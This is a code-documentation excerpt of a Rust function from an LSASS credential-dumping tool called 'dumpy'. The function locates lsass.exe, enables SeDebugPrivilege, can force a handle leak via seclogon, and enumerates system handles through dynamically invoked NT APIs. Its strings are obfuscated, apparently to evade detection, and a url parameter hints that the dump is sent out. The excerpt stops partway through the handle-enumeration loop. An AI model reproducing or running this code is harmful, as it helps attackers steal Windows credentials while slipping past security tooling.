Function dump

dumpy/dumper/src/lib.rs:24–500

[no_mangle] pub extern "Rust" fn dump(key: &str) {

(key: &str, url: &str, leak: bool)

//#[no_mangle]
//pub extern "Rust" fn dump(key: &str) {
pub fn dump(key: &str, url: &str, leak: bool) {
    unsafe 
    {
        let lsass_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\lsass.exe")) as u16;
        let mut target_pid = 0u16;
        
        if leak
        {
            target_pid = get_pid_from_image_path(&lc!("C:\\Windows\\System32\\seclogon.dll")) as u16;
        }

        let privilege: u32 = 20; 
        let enable: u8 = 1; 
        let current_thread: u8 = 0;
        let enabled: *mut u8 = std::mem::transmute(&u8::default()); 
       
        //Enable SeDebugPrivilee
        let r = dinvoke::rtl_adjust_privilege(privilege,enable,current_thread,enabled);

        if r != 0 
        {
            println!("{}",&lc!("[x] SeDebugPrivilege could not be enabled."));
            return;
        }
        else 
        {
            println!("{}", &lc!("[+] SeDebugPrivilege successfully enabled."));
        }

        if leak
        {
            force_leakage();
        }

        let shi: *mut SYSTEM_HANDLE_INFORMATION;
        let mut ptr: PVOID;
        let mut buffer;
        let mut bytes = 0x10000;
        let mut c = 0;

        loop
        { 
            buffer =  vec![0u8; bytes as usize];
            ptr = std::mem::transmute(buffer.as_ptr());
            let bytes_ptr: *mut u32 = std::mem::transmute(&bytes);
            // Query the system looking for handles information
            let x = dinvoke::nt_query_system_information(16,ptr,bytes,bytes_ptr);

            if x != 0 
            {
                bytes *= 2;
            }
            else
            {
                shi = std::mem::transmute(ptr);
                break;
            }